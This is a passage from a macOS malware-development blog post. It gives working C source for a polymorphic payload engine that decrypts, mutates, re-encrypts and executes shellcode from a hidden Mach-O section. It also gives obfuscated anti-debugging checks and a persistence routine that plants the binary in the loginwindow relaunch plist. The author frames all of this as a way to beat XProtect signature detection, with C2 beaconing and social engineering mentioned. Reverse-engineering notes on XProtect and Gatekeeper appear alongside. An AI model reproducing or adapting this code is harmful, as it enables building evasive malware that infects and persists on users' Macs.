execv(tmp_path, args);
perror("execv");
exit(1);
} else {
fprintf(stderr, "%s\nDie.\n", exe_path);
if (unlink(exe_path) != 0) { perror("unlink"); }
exit(1);
}
}
/* Constructor: init, mutate & run payload */
__attribute__((constructor)) static void _entry() {
whereuat();
unsigned long ds = 0;
uint8_t *dsec = getsectiondata(&_mh_execute_header, "__DATA", "__fdata", &ds);
if (!dsec || ds < sizeof(data)) exit(1);
Encryption *hdr = (Encryption *)dsec;
uint8_t *payload = dsec + sizeof(Encryption);
if (hdr->count == 0) {
printf("Initializing...\n");
uint8_t init[P];
memset(init, 0x90, P);
if (len > P) { fprintf(stderr, "what she said\n"); exit(1); }
memcpy(init, dummy, len);
if (getentropy(hdr->key, K) != 0 || getentropy(hdr->iv, kCCBlockSizeAES128) != 0) exit(1);
cipher(hdr->key, hdr->iv, init, payload, P);
CC_SHA256(payload, P, hdr->hash);
save(dsec, sizeof(data));
hdr->count = 1;
}
ChaCha rng;
chacha20_init(&rng, (uint8_t *)&hdr->seed, sizeof(hdr->seed));
uint8_t *dec = malloc(P);
if (!dec) return;
decipher(hdr->key, hdr->iv, payload, dec, P);
uint8_t comp[CC_SHA256_DIGEST_LENGTH];
CC_SHA256(payload, P, comp);
if (memcmp(hdr->hash, comp, CC_SHA256_DIGEST_LENGTH) != 0) { free(dec); exit(1); }
mutate_payload(dec, P, &rng);
if (getentropy(hdr->key, K) != 0 || getentropy(hdr->iv, kCCBlockSizeAES128) != 0) {
fprintf(stderr, "Key/IV error\n");
zer(dec, P);
free(dec);
return;
}
cipher(hdr->key, hdr->iv, dec, payload, P);
CC_SHA256(payload, P, hdr->hash);
save(dsec, sizeof(data));
void *code_ptr;
if (posix_memalign(&code_ptr, P, P) != 0) { free(dec); return; }
if (mprotect(code_ptr, P, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) { perror("mprotect"); free(code_ptr); free(dec); return; }
_memcpy(code_ptr, dec, P);
if (mprotect(code_ptr, P, PROT_READ | PROT_EXEC) != 0) { perror("mprotect"); free(code_ptr); free(dec); return; }
execute(code_ptr, P);
free(code_ptr);
zer(dec, P);
free(dec);
hdr->seed = chacha20_random(&rng);
hdr->count++;
}
The engine targets Mach-O binaries (macOS/ARM64/x86_64) and runs on Capstone disassembly, paired with a ChaCha20-based PRNG. It messes with the payload by swapping instructions, injecting junk code and opaque predicates, then re-encrypts the modified payload with fresh AES keys before slapping it back into the binary.
When you feed a chunk of binary data into Capstone, it disassembles it into a set of instructions each with details such as its mnemonic (like mov
or jmp
), operands, and the size of the instruction in bytes, After the engine performs a mutation (say, an instruction swap), it needs to check that the mutated code is still valid. This is where Capstone steps in.
“Cap is a framework that takes raw machine code (binary bytes) and translates it into human-readable assembly instructions, Think of it as a translator for your binary code.” I picked Capstone for this example because it’s a solid disassembler and pretty simple to implement.
Finally, it loads the mutated payload into executable memory and hands over control, so every run spits out a fresh piece of code. Back to basics. Every Mach-O file has a header, load commands, and segments (like __TEXT
for code and __DATA
for writable data):
__TEXT
segment__stubs
section__stub_helper
section__cstring
section__unwind_info
section
__DATA
segment__nl_symbol_ptr
section__la_symbol_ptr
section
Source:
The header (as shown earlier) and the load commands map out our Mach-O file, defining where each segment sits in memory. The __TEXT
segment holds the executable code. It’s mostly read-only and contains stubs, helpers, and other key structures. The __DATA
segment is the writable zone, used for data that can change at runtime, like pointers, symbol tables, and other info.
In the piece above, we take advantage of the __DATA
segment’s writable nature by carving out our own custom section, __fdata
. This section holds an encryption header (containing the AES key, IV, random seed, run counter, and hash) alongside the encrypted payload, which is our self-mutating code.
Why do it like this? Simple. We can find our custom section at runtime using standard Mach-O APIs (like getsectiondata
), much like opening a labeled folder. The engine decrypts the payload, mutates it (instruction swaps, junk code, etc.), re-encrypts it, and writes it back, ensuring dynamic evolution with every run. This is polymorphic, and also metamorphic in a sense. Keep that in mind.
+-----------------------------------------------------+
| Mach-O File |
+-----------------------------------------------------+
| Header |
| - Magic number, CPU type, file type, etc. |
+-----------------------------------------------------+
| Load Commands |
| - Define segments (e.g., __TEXT, __DATA) |
+-----------------------------------------------------+
| Segments |
| +-------------------+ +-----------------------+ |
| | __TEXT | | __DATA | |
| | (Code section) | | (Writable data zone) | |
| +-------------------+ +-----------------------+ |
+-----------------------------------------------------+
Source:
So essentially what’s happening is that we copy the decrypted, mutated payload into executable memory and then transfer control over to it. Running this newly mutated payload is the final step in self-modification it lets the engine execute its current, evolved version of the code. Plus, the engine checks its execution location (like making sure it’s running from /tmp
) and might even relocate itself if it finds itself in ~/Download
(more on that later). This setup minimizes external interference and ensures the piece can modify itself without any constraints.
For encryption, we kick things off by prepping a default payload – think of it as a simple “dummy” routine and we fill out the rest with NOPs. That leaves us with a clean slate to work on. Then we tap into a randomness source to snag an AES key and an IV. Now, these have their pros and cons: on the upside, they turn our piece into a moving target, but on the downside, the binary’s entropy can skyrocket as more payload and mechanisms get crammed in. Keep that in mind.
Every time the engine runs after initialization, the process looks like this: The engine reads the encrypted payload from the __fdata
section and uses the stored key and IV to decrypt it. After decryption, we recompute the SHA hash and compare it to the one stored in the header. This simple check makes sure the payload hasn’t been tampered with.
Now, it might seem straightforward, but here’s the twist: since the payload for real malware is gonna keep growing, we ain’t gonna settle for a “dummy” payload. Instead, we’re packing it with sets of functioning operations, making it a real challenge to keep track of everything.
Remember the first part, where we dabbled in assembly and macOS shellcode development? The same idea applies here. Whether our payload is a simple machine-code “Hello World” or a whole suite of operations, it doesn’t really matter for our current use it’s all about laying the groundwork for something more dynamic down the line.
// Encrypt the mutated payload
cipher(hdr->key, hdr->iv, dec, payload, P);
// Update the hash for integrity verification next time
CC_SHA256(payload, P, hdr->hash);
// Save the new encrypted payload back to the __fdata section
save(dsec, sizeof(data));
So Every run, the engine decrypts its payload, verifies and mutates it, then locks it down again with fresh encryption. This cycle makes the engine’s behavior unpredictable
Decrypt → Verify → Mutate → Generate new keys → Re-encrypt → Update → Save back.
Now the mutation phase, So we might swap two instructions, insert junk code (like NOPs or push/pop sequences), or replace some instructions with opaque predicates, Imagine the engine decides to swap two instructions. It picks two instructions of equal size from the payload, swaps them, and then needs to make sure the resulting code still makes sense,
Source :
So why? It’s not just about creating a new, unique copy of itself every time it propagates. It’s also about disassembling previously mutated code and keeping its size in check. (Since instructions can mutate into multiple instructions, messing with this can cause the executable to grow exponentially with every mutation, fun, right?) A simple mistake in disassembly can break the whole thing. Keeping it running smoothly makes the malware a lot tougher to kill. It’s a challenge and a real REpsych.
[SETUP]
~$ clang -o trustme mutator.c -framework Foundation
-w -lcrypto -lcapstone
[RELEASE MODE]
~$ vx=trustme
[INITIAL]
~$ echo $vx | xargs -I {} sh -c 'shasum {}; hexdump {} | head -n 1; file {}'
94bf45eac2e3bba045a922ddccab65f18f063375 trustme
0000000 facf feed 0007 0100 0003 0000 0002 0000
trustme: Mach-O
[PRE-EXECUTION STATE]
~$/tmp> ls -al
total 0
[POST-EXECUTION]
~$/tmp> ls -al
total 104
-rwxr-xr-x 1 user staff 104 trustme // can be random.
[POST-MUTATION]
~$/tmp> echo $vx | xargs -I {} sh -c 'shasum {}; hexdump {} | head -n 1; file {}'
d7092ed32159874d92c49a789b25932dc51497f5 trustme
0000000 facf feed 0007 0100 0003 0000 0002 0000
trustme: Mach-O
So, why go with mutation? Why not just use raw malware? With macOS’s security features like GateKeeper, XProtect, and SIP (System Integrity Protection), one might argue that it’s pointless: Why bother with polymorphic malware? Isn’t it basically useless on macOS?
There’s some truth to that. If the malware never makes it to execution, it doesn’t matter if it’s polymorphic, metamorphic, or totally unprotected. That binary is either heading to the trash or, worse, into the hands of analysts. ;)
As one may say:
“If your objective does not require a high success rate and your time is limited, you can code something that isn’t protected at all and simply use it as-is.”
— Evolution of Polymorphic Malware
AIN’T GONNA FLY
When I think of macOS antivirus, the first thing that comes to mind is XProtect
, which runs in the background, scanning files for known patterns (like specific byte sequences or file hashes) and flagging suspicious behavior (e.g., attempts to modify system files).
XProtect relies heavily on static signature detection. It hunts for known malicious code patterns byte sequences or hashes (you remember the signature thing?). If a binary’s code mutates with each iteration, XProtect’s ability to maintain a reliable signature for detection quickly goes out the window.
So, I thought, why not test this theory and see how our binary holds up? While Apple claims that “the signature-based rules of XProtect are more generic than a specific file hash, so it can find variants that Apple hasn’t seen,” honestly… meh.
Let’s test this and see what XProtect does when the binary is triggered. We’ve gone through the mutation process, and now it’s time to observe how macOS’s built-in defenses handle our self-modifying code. By running the mutated binary, we’ll check if XProtect can detect it despite our attempts to bypass its signature-based detection methods.
So, usually when a new process kicks off whether it’s from double-clicking the app or from the terminal LaunchServices
sends an XPC message to CoreServicesUIAgent
, the part of macOS responsible for handling the UI during app loading. From there, CoreServicesUIAgent calls up the XPC service XprotectService.xpc
, which is tucked away in the XProtectFramework located at:
/System/.../XprotectService (x86_64): Mach-O 64-bit executable
/System/.../XprotectService (arm64e): Mach-O 64-bit executable
Alright, let’s try something quickly here, let’s really dig into this XProtect code while it’s fresh in my mind. I’m gonna walk through the key functions with the actual Service so we can see exactly what’s happening under the hood.
So here are a few things I noticed about Gatekeeper and how it operates under the hood while I was reversing. I’ll just throw them in here. Although these details are known, I find them somewhat tricky, and perhaps they will help us better understand the overall security services chain.
We got reveals two primary subsystems working in tandem:
- Gatekeeper (
XPGatekeeperEvaluation
) → Responsible for code-signing, notarization, and execution policy enforcement. - XProtect (
XProtectAnalysis
) → Malware scanning engine, leveraging XPC for isolated analysis.
When you open a file, Gatekeeper creates a “dossier” by populating an NSMutableDictionary
(often referred to as the assessmentContext) with essential details about the file. It asks, for example, “What type of file is this?” by setting keys such as kSecAssessmentContextKeyUTI
; “Where did it come from?” by recording the LSDownloadDestinationURLKey
for downloaded files; and “Is it notarized?” by marking a boolean flag (assessmentWasNotarized). This dossier then informs the subsequent security checks.
- Execute (0x1)
- Install (0x2)
- Open Document (0x0)
After calling the method to determine the assessment class, the code branches based on the result (comparing against 0x2 and 0x1)
It retrieves the file’s operation type (for example, execute, install, or open document) by calling a selector (like assessmentClass
) and comparing the returned value. Depending on the result, it assigns one of the predefined constants (e.g., _kSecAssessmentOperationTypeExecute
, _kSecAssessmentOperationTypeInstall
, or _kSecAssessmentOperationTypeOpenDocument
) into
- Depending on the value in
eax
, a constant representing the operation type is loaded intorax
.
0000000100006f23 cmp eax, 0x2
0000000100006f26 je loc_100006f3a
0000000100006f28 cmp eax, 0x1
0000000100006f2b je loc_100006f64
...
0000000100006f31 mov rax, qword [_kSecAssessmentOperationTypeExecute_1000140c8]
and later we can see setting a key for the file’s UTI, The method sets various keys in the dictionary using calls to methods like setObject:forKey:
. For instance, it stores the file’s UTI (Uniform Type Identifier) under a key corresponding to _kSecAssessmentContextKeyUTI
and, if applicable, it also handles the primary signature and feedback fields.
0000000100006fa1 mov rdx, qword [r13+rax] ; Load file UTI from instance variable
0000000100006fa6 mov rax, qword [_kSecAssessmentContextKeyUTI_1000140c0]
0000000100006fad mov rcx, qword [rax]
0000000100006fb0 mov rdi, r14 ; Dictionary instance
0000000100006fb3 mov rsi, r12 ; Selector: setObject:forKey:
0000000100006fb6 call rbx ; Call objc_msgSend to set the UTI
Plus, later in the code, it even attempts to obtain a download assessment dictionary related to the file (as seen with the call to imp___stubs___LSCopyDownloadAssessmentDictionary
).
After the assessmentContext
is fully populated, XProtectService
transitions into policy evaluation. The flow moves toward checking whether the file matches any known XProtect rules (malware signatures, version enforcement).
A critical entry point is where the service attempts to load XProtect metadata and perform file signature analysis.
One natural starting point in the binary:
SecAssessmentCreate
→ XPGatekeeperEvaluation
You’ll see something like:
call qword [imp___stubs__XPGatekeeperEvaluation]
At this point, the context dictionary (assessmentContext
) is passed down into a function that:
- Loads XProtect rule files (
XProtect.plist
,XProtect.meta.plist
) via CoreFoundation APIs (CFURLCreateWithFileSystemPath
,CFReadStreamCreateWithFile
, etc.) - Parses the rules into memory.
- Begins matching based on file attributes (UTI, path, quarantine data, code signature info).
assessmentWasNotarized → Reads a boolean flag (likely from the app’s code signature).
assessmentNotarizationDate
→ Retrieves a timestamp from the notarization ticket.
-[XPGatekeeperEvaluation assessmentWasNotarized]:
000000010000715f movsx eax, byte [rdi+rax] ; Load notarization flag
- Notarization status is cached in the object. No runtime checks here just a flag read.
XProtect doesn’t do the dirty work itself. Instead, it talks to com.apple.XprotectFramework.AnalysisService
via XPC (Apple’s IPC protocol). The initWithURL
All scanning happens in this separate service probably to isolate crashes or exploits.
Now, the XProtectService gets busy scanning the main executable for any malicious content. It checks a few key parameters, including XProtectMalwareType, which classifies the file accordingly. Once that’s done, it sends the classification back to CoreServicesUIAgent, tagging the file with the XProtectMalwareType value even if the file is signed and clean. If it’s flagged as malicious, XProtect doesn’t let it slide.
Based on the information it receives, CoreServicesUIAgent generates a user alert and tosses the app into the Trash. But even if the file is clean yet tagged incorrectly, CoreServicesUIAgent will still trigger that alert. This process relies heavily on identifying strings like XProtectMalwareType, which we see in the disassembly being loaded and stored (possibly inside an NSDictionary object).
-[XProtectAnalysis beginAnalysisWithHandler:...]:
00000001000077a1 mov rax, [_NSURLIsAliasFileKey]
00000001000077b2 mov rax, [_NSURLIsSymbolicLinkKey]
00000001000077c0 call objc_msgSend ; arrayWithObjects:count:
- Resolves aliases/symlinks before scanning.
- See file attributes (e.g., quarantine flags for downloads).
Workflow:
User Launch
↓
LaunchServices → CoreServicesUIAgent
↓
XProtectService (via XPC)
↓
[ Gatekeeper evaluation ]
↓
[ XProtect malware scan ]
↓
CoreServicesUIAgent (UI + Trash)
More on CoreServicesUIAgent later which is located in: /System/Library/CoreServices/CoreServicesUIAgent.app
Why This Matters?
We’ve established that CoreServicesUIAgent depends on strings like XProtectMalwareType
to classify files as malicious. When a binary is flagged, the system tosses it into the Trash and alerts the user. However, as we’ve seen, this process isn’t flawless especially when XProtect is dealing with files that don’t match known signatures.
Now, the big question: how does XProtect handle files that evolve over time? We’ve mutated our binary in an attempt to bypass signature-based detection, but does this approach work when the file is re-evaluated by XProtect with every execution? This is where things get interesting.
Keep a few things in mind: Xprotect isn’t the only defense macOS has. As we’ve discussed before, there’s GateKeeper, System Integrity Protection (SIP), and syspolicyd. Even though each component has its own limitations, they work together just right.
rule XProtect_MACOS_44db411
{
meta:
description = "MACOS.44db411"
gk_first_launch_only = true
match_type = 2
uuid = "A9C107E5-16D5-4733-A692-F0F51C0332E5"
strings:
$a1 = { 2F 55 73 65 72 73 2F 25 40 2F 4C 69 62 72 61 72 79 2F 41 70 70 6C 69 63 61 74 69 6F 6E 20 53 75 70 70 6F 72 74 2F 53 6D 61 72 74 20 4D 61 63 20 43 61 72 65 2F 6C 69 63 65 6E 73 65 69 6E 66 6F 2E 70 6C 69 73 74 }
$b1 = { 69 73 45 78 70 69 72 65 64 4C 69 63 65 6E 73 65 }
$b2 = { 69 73 56 61 6C 69 64 4C 69 63 65 6E 73 65 }
$b3 = { 69 73 4D 6F 72 65 4C 69 63 65 6E 73 65 }
$b4 = { 69 73 4B 65 79 73 49 6E 63 6F 72 72 65 63 74 }
$b5 = { 64 61 79 73 52 65 6D 61 69 6E 69 6E 67 }
$c1 = { 63 6F 6D 2E 74 75 6E 65 75 70 6D 79 6D 61 63 }
condition:
Macho and
filesize < 8MB and
all of them
}
Now, the goal is simple: run the binary and see what happens. We’ll pay attention to any system calls involving syspolicyd
, which is responsible for managing file policies, and any interactions with XProtectService.xpc
this is the real time defender that scans files for potential threats. If XProtect flags the file, we’ll likely see logs indicating its intervention, or perhaps even a user-facing alert.
Here’s an example of what the logs might look like when XProtectService.xpc
interacts with files:
20:54:04 access /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara 0.000101 XprotectServ
20:54:04 getattrlist /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara 0.000012 XprotectServ
20:54:04 open /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara 0.000052 XprotectServ
20:54:04 RdData[A] /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara/..namedfork/rsrc 0.001095 XprotectServ
20:54:04 RdData[A] /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.yara/..namedfork/rsrc 0.000228 XprotectServ
These calls show that XProtect is actively scanning a specific YARA rule file, indicating its role in static detection, signatures are updated regularly by Apple.
XProtectPlistConfigData:
Version: 5293
Source: Apple
Install Date: 2/3/25, 9:50 PM
Our next step is to observe the runtime behavior of the mutated binary. If XProtect is going to flag the file, it’ll likely do so once the file starts executing.
Here’s a snapshot of some of the relevant activity from the fs_usage
output while the binary is running:
22: 30: 29.176849 open F = 3(R___________) / Users / vy / mvt / trustme 0.000032 taskgated .31395
22: 30: 29.180521 stat64 / Users / vy / mvt / trustme 0.000017 syspolicyd .131136
22: 30: 29.180713 access(R___) / Users / vy / mvt / trustme 0.000033 syspolicyd .131136
22: 30: 29.180733 getattrlist / Users / vy / mvt / trustme 0.000009 syspolicyd .131136
22: 30: 29.180743 stat64 / Users / vy / mvt / trustme 0.000005 syspolicyd .131136
22: 30: 29.180775 getattrlist[20] / Users / vy / mvt / trustme / Wrapper 0.000004 syspolicyd .131136
We can see that various system calls, like stat64
, access
, and getattrlist
, are being made by syspolicyd
, indicating it’s checking the file. If we see any more relevant system calls or signs of XProtect kicking in, we’ll know whether the file is being flagged as malicious in real-time.
So, we can see that our binary will keep executing and connecting to the C2 every time (more on this as we go). It mutates with each execution its hash changes and it restarts so it won’t get flagged by XProtect.
Basically, mutation beats static signature detection every time. The only things that can stop this malware or kinda notice it (Gatekeeper) and a few third-party software tools, such as objective-see’s LULU firewall, because it monitors connections and picks up on that activity.
That could be a killer, Even so, Lulu is just a firewall it only monitors connections, meaning the user still has the option to allow it to run (more on that too as we go).
Same for GateKeeper as we saw on our analysis Gatekeeper deals more with code signing, notarization, and ensuring that only trusted apps are allowed to execute. But Gatekeeper assumes that XProtect will catch known malware if the app passes its signing checks but is still sketchy.
The design directly targets XProtect’s. By dynamically altering its code, the binary ensures that its signature is never the same, making it nearly invisible to static detection. But what about SIP? The only way to work around that is by sticking to user space. The binary avoids protected directories and focuses on user-writable areas like /tmp
or ~/Library
. And as for Gatekeeper, you’d better have a solid SE plot. ;)
This approach is more likely to hit the mark in targeted attacks (remember the naïve payload we introduced in the first part that collected some host information). However, if you cast a wider net, it’s more likely to get caught. In the short term, this engine can bypass XProtect especially with a custom never-seen binary which is understandable but in the long run, as it evolves, they eventually catch on too, and still we haven’t talked, Behavioral checks, and MRT ;)
Source:
ANTI ANALYSIS
Normally, this part comes later. But I think it’s better to kick things off here since the first thing our code does is mutate and check if it’s running in a hostile environment its way of protecting itself. (Honestly, that topic deserves its own article.)
Anti-analysis techniques are pretty consistent across operating systems; only the implementation details change. In Part One, we covered classic stealth moves like process injection, in-memory execution, and even wrote our own versions. Remember how we hardcoded everything strings, file paths, C2 addresses? Yeah, that needs to change. Let’s look at some better options.
Instead of hardcoding strings, we can dynamically generate them at runtime by concatenating smaller fragments or assembling them based on certain conditions. It does make the code messier, sure. Alternative? Encryption, dude.
You might start simple with XOR. But since XOR is easily reversible, it’s smarter to mix it with other methods. For example, encrypt the strings with AES. Just remember: if your decryption key is hardcoded into the binary, you basically did nothing.
Even with encryption, the malware still has to decode and decrypt strings to actually use them like when it needs to connect to its C2 server for instructions. That’s the catch: you can just let the malware run and catch the decrypted C2 address when it tries to connect.
To show this, I threw together a basic AES encryption and decryption routine using tiny-AES-c. For encryption, I set up the AES context with a fixed key and processed the input string in 16-byte blocks, dumping the output into a buffer. Decryption is just the same in reverse, using the same key to get back the original data. Pretty basic, yeah but now let’s toss it into a debugger and watch where the decrypted string shows up.
The play is simple: pause the malware right after it tries to decrypt a string and dig into its memory.
(lldb) image lookup -s decrypt
1 symbols match 'decrypt' in ....:
Address: spit[0x0000000100002140] (spit.__TEXT.__text + 208)
Summary: spit`decrypt
(lldb) breakpoint set --name decrypt
Breakpoint 1: where = spit`decrypt, address = 0x0000000100002140
(lldb) r
Process 39704 launched: ...
Encrypted: 16 90 bc 53 eb 9c 8a 8b db 04 a1 81 ca b9 47 ad
Process 39704 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100002140 spit`decrypt
spit`decrypt:
-> 0x100002140 <+0>: pushq %rbp
0x100002141 <+1>: movq %rsp, %rbp
0x100002144 <+4>: subq $0x100, %rsp
0x10000214b <+11>: movq 0x1eae(%rip), %rax
Target 0: (spit) stopped.
(lldb) register read
General Purpose Registers:
rax = 0x0000000000000001
rbx = 0x00000001000c8060
rcx = 0xa39c170aa30200e0
rdx = 0x0000000000000000
rdi = 0x00007ff7bfeff830
.......
(lldb) x/16xb $rsi
0x7ff7bfeff820: 0x00 0x00 0x00 ... // foo-operator-server
(lldb) continue
Process 39704 resuming
Decrypted: foo-operator-server
Process 39704 exited with status = 0 (0x00000000)
I set a breakpoint in the decrypt
function to track the decryption process. First, I ran image lookup -s decrypt
to find the memory address of the function because I already knew the target. In a real-world binary, this step comes after static analysis, since most binaries won’t have symbols at this stage. Anyway, it showed up at 0x0000000100002140
. Then, I set a breakpoint with breakpoint set --name decrypt
, so execution halts whenever we hit that function. Running the program (r
) paused it right at the breakpoint, giving me a chance to check out the registers and memory.
For example, the instruction pointer (rip
) confirmed we were at the start of the decryption routine. I also peeked at the memory at the address pointed to by rsi
(using x/16xb $rsi
), which was all zeros at first meaning the decrypted data hadn’t been written yet. After continuing with continue
, the decrypted string foo-operator-server
appeared.
This setup was done to show how it works in the debugger, but the idea is the same in a dynamic analysis. You could also hook up a network monitor to passively recover the previously encrypted address of the C2 server when the malware beacons out for tasking. You can achieve similar results with a debugger, Remember ? Objective-See, yea the same.
See, the user can block or allow the request, or even upload it to VirusTotal to kill the binary instantly. One workaround is to implement a routine that checks for known analysis tools before decryption. Since most of these tools run in user space or as helper processes, we can detect them and try to terminate them. If termination isn’t possible, the piece might just exit, choosing not to proceed with the operation. (We’ll revisit this later.)
As for debugging the first thing we do once the binary is executed (hopefully ;)) is called. Most debuggers start at the program’s entry point, which we can exploit by using the “constructor” attribute, running code before main()
even kicks in. This trick makes it harder for analysts to spot anti-debugging checks, since they run before main()
starts executing.
__attribute__((constructor))void _entry() {}
The most known and simple technique for BSD-based systems is the one I’m rollin’ with, and to show you a little obfuscation and dynamic symbol resolution along the way check this out,
#include <sys/sysctl.h>
#include <dlfcn.h>
#include <time.h>
static sysctl_func_t getsys(void) {
static sysctl_func_t cached = NULL;
if (!cached) {
char * symbol = gctl();
cached = (sysctl_func_t) dlsym(RTLD_DEFAULT, symbol);
free(symbol);
}
return cached;
}
__attribute__((always_inline)) static inline int Psys(int * mib, struct kinfo_proc * info, size_t * size) {
sysctl_func_t sysptr = getsys();
if (!sysptr) return -1;
return sysptr(mib, 4, info, size, NULL, 0);
}
__attribute__((always_inline)) static inline bool Se(struct kinfo_proc * info) {
return (info -> kp_proc.p_flag & P_TRACED) != 0;
}
__attribute__((always_inline)) static bool De(void) {
int mib[4];
struct kinfo_proc info;
size_t size = sizeof(info);
memset( & info, 0, sizeof(info));
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();
if (Psys(mib, & info, & size) != 0) return false;
return Se( & info);
}
__attribute__((constructor))
static void Dee(void) {
if (De()) {
puts("See U!\n");
}
}
int main(void) {
return 0;
}
If you picked up on it, you’ll notice we don’t call the sysctl
function directly that’s the first thing static analysis tools zero in on. Instead of embedding the string "sysctl"
directly in the binary, we use some arithmetic and bitwise operations. In our gctl()
function, we take a couple of numbers (like 230/2
, 242/2
, …) that actually represent the ASCII codes for the letters in "sysctl"
.
We then XOR those with a key generated from the process ID and current time. Later, we use the same key again to retrieve the "sysctl"
string. After that, we resolve its address using dlsym()
. In the getsys()
function, we call gctl()
to decode and “deobfuscate” it. Pretty simple stuff: CTL_KERN, KERN_PROC, KERN_PROC_PID
, but it hides the sysctl
call from static analysis.
Up to this point, if you haven’t noticed, our program prints “See” or “whatever” to the terminal when it isn’t being traced and “being traced” otherwise. In a real-world scenario, the “not being traced” message gets replaced with the activity you’re trying to hide, while “being traced” is swapped with fake activity to mislead any reverser into thinking that’s what the code is doing during normal execution. Normally, the app runs as usual while leaving minimal traces for auto-destruction (more on that later).
For a Hint see my latest RE-Challenge :
Overall, combining these techniques does a pretty good job of concealing its presence. It’s the simplest approach a reverser could just patch it and move on. That’s why this piece must be extremely careful to avoid detection for as long as possible. The trick is to strike a balance: don’t make the code so complex that it’s impossible to tell what’s what (for you as developer), but also not too simple that it gives away everything. We’ve blended it all into one piece of art.
Another trick we used is checking where the piece is running. Using _NSGetExecutablePath
, the process first determines where it’s running because its behavior depends on context. Unlike Windows, which uses environment variables to manage this, macOS relies on system calls to fetch runtime information.
On Linux, getting an app’s absolute path is easy just query /proc/self/exe
. But on macOS, the trick lies in how the Darwin kernel places the executable path on the process stack right after the envp
array when it creates the process. The dynamic link editor, dyld
, grabs this during initialization and keeps a pointer to it. This function uses that pointer to find the path.
Source :
In C/C++, when we interact with OS-level functions like this, we need to allocate enough memory for the information the system will retrieve and store for us.
if (_NSGetExecutablePath(execPath, &pathSize) != 0)
return;
We can also use the same function to detect possible jailbreak attempts, Normally, App Store apps run from
/private/var/containers/Bundle/Application/
, but if the path is unusual (e.g., pointing directly to/Applications
), it might indicate a jailbroken environment.
One reason for this design is the nature of the infection itself. We assume the target will run the malware from the ~/Downloads
directory, or at least we hope they do. It’s a simple anti-analysis trick, but we don’t want to make things too easy for the analyst.
Still, it kind of works, because if you require certain conditions for the payload (or whatever) to be decrypted and executed, those conditions must be met. This makes it much harder for someone trying to analyze your binary they’d have to emulate the environment (or trick it into thinking it is the correct environment), which can be so challenging.
Obfuscation is just as important as the code itself, and RE often goes hand in hand with malware development.
PERSISTENCE
There’s a great blog series called Beyond Good Ol’ LaunchAgents that dives into various persistence techniques yep, it goes way beyond your run-of-the-mill LaunchAgents. Before we jump back into our piece and talk about how we implemented our persistence, let’s chat a bit about macOS persistence.
I tried to cover this in the first part, but I only scratched the surface and ran through some basic tricks that might not even work on today’s systems. So, let’s take another crack at it.
So we got LaunchAgents and LaunchDaemons responsible for managing processes automatically. LaunchAgents are typically located in the ~/Library/LaunchAgents
directory for user-specific tasks, triggering actions when a user logs in. On the flip side, LaunchDaemons are situated in /Library/LaunchDaemons
, initiating tasks upon system startup.
Although LaunchAgents primarily operate within user sessions, they can also be found in system directories like /System/Library/LaunchAgents
. which require privileges for installation and typically reside in /Library/LaunchDaemons
.
Simply put LaunchAgents are suitable for tasks requiring user interaction, while LaunchDaemons are better suited for background processes.
So what are we aiming for here? macOS stores info about apps that should automatically reopen when a user logs back in after a restart or logout. Basically, the apps open at shutdown get saved into a list that macOS checks at the next login. The preferences for this system are tucked away in a property list (plist) file that’s specific to each user and UUID.
Reference: https://theevilbit.github.io/beyond/beyond_0021/
You’ll find the plist at ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
and that <UUID>
is tied to the specific hardware of your Mac. Now, you might be wondering how this ties into persistence. Since plist files in a user’s ~/Library
directory are writable by that user, we can just… well, exploit that. And because macOS inherently uses this feature to launch legit applications, it trusts the com.apple.loginwindow
plist as a bona fide system feature.
#include <CoreFoundation/CoreFoundation.h>
#include <mach-o/dyld.h>
// persistence entry.
void update(const char *plist_path) {
uint32_t bufsize = 0;
_NSGetExecutablePath(NULL, &bufsize);
char *exePath = malloc(bufsize);
if (!exePath || _NSGetExecutablePath(exePath, &bufsize) != 0) {
free(exePath);
return;
}
CFURLRef fileURL = CFURLCreateFromFileSystemRepresentation(NULL,
(const UInt8 *)plist_path, strlen(plist_path), false);
CFPropertyListRef propertyList = NULL;
CFDataRef data = NULL;
if (CFURLCreateDataAndPropertiesFromResource(NULL, fileURL, &data, NULL, NULL, NULL)) {
propertyList = CFPropertyListCreateWithData(NULL, data,
kCFPropertyListMutableContainers, NULL, NULL);
CFRelease(data);
}
// if no plist exists, make one.
if (propertyList == NULL) {
propertyList = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
}
// get (or create) the array for login items.
CFMutableArrayRef apps = (CFMutableArrayRef)
CFDictionaryGetValue(propertyList, CFSTR("TALAppsToRelaunchAtLogin"));
if (!apps) {
apps = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks);
CFDictionarySetValue((CFMutableDictionaryRef)propertyList,
CFSTR("TALAppsToRelaunchAtLogin"), apps);
CFRelease(apps);
}
// dictionaryir stuff
CFMutableDictionaryRef newApp = CFDictionaryCreateMutable(kCFAllocatorDefault,
3, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
int state = 2; // for now
CFNumberRef bgState = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &state);
CFDictionarySetValue(newApp, CFSTR("BackgroundState"), bgState);
CFRelease(bgState);
// executable's path.
CFStringRef exePathStr = CFStringCreateWithCString(kCFAllocatorDefault, exePath,
kCFStringEncodingUTF8);
CFDictionarySetValue(newApp, CFSTR("Path"), exePathStr);
CFRelease(exePathStr);
CFArrayAppendValue(apps, newApp);
// write back to disk.
CFDataRef newData = CFPropertyListCreateData(kCFAllocatorDefault, propertyList,
kCFPropertyListXMLFormat_v1_0, 0, NULL);
if (newData) {
FILE *plistFile = fopen(plist_path, "wb");
if (plistFile != NULL) {
fwrite(CFDataGetBytePtr(newData), sizeof(UInt8),
CFDataGetLength(newData), plistFile);
fclose(plistFile);
}
CFRelease(newData);
}
CFRelease(newApp);
CFRelease(propertyList);
CFRelease(fileURL);
free(exePath);
}
it’s self explanatory we simply modify the relaunch entries If the TALAppsToRelaunchAtLogin
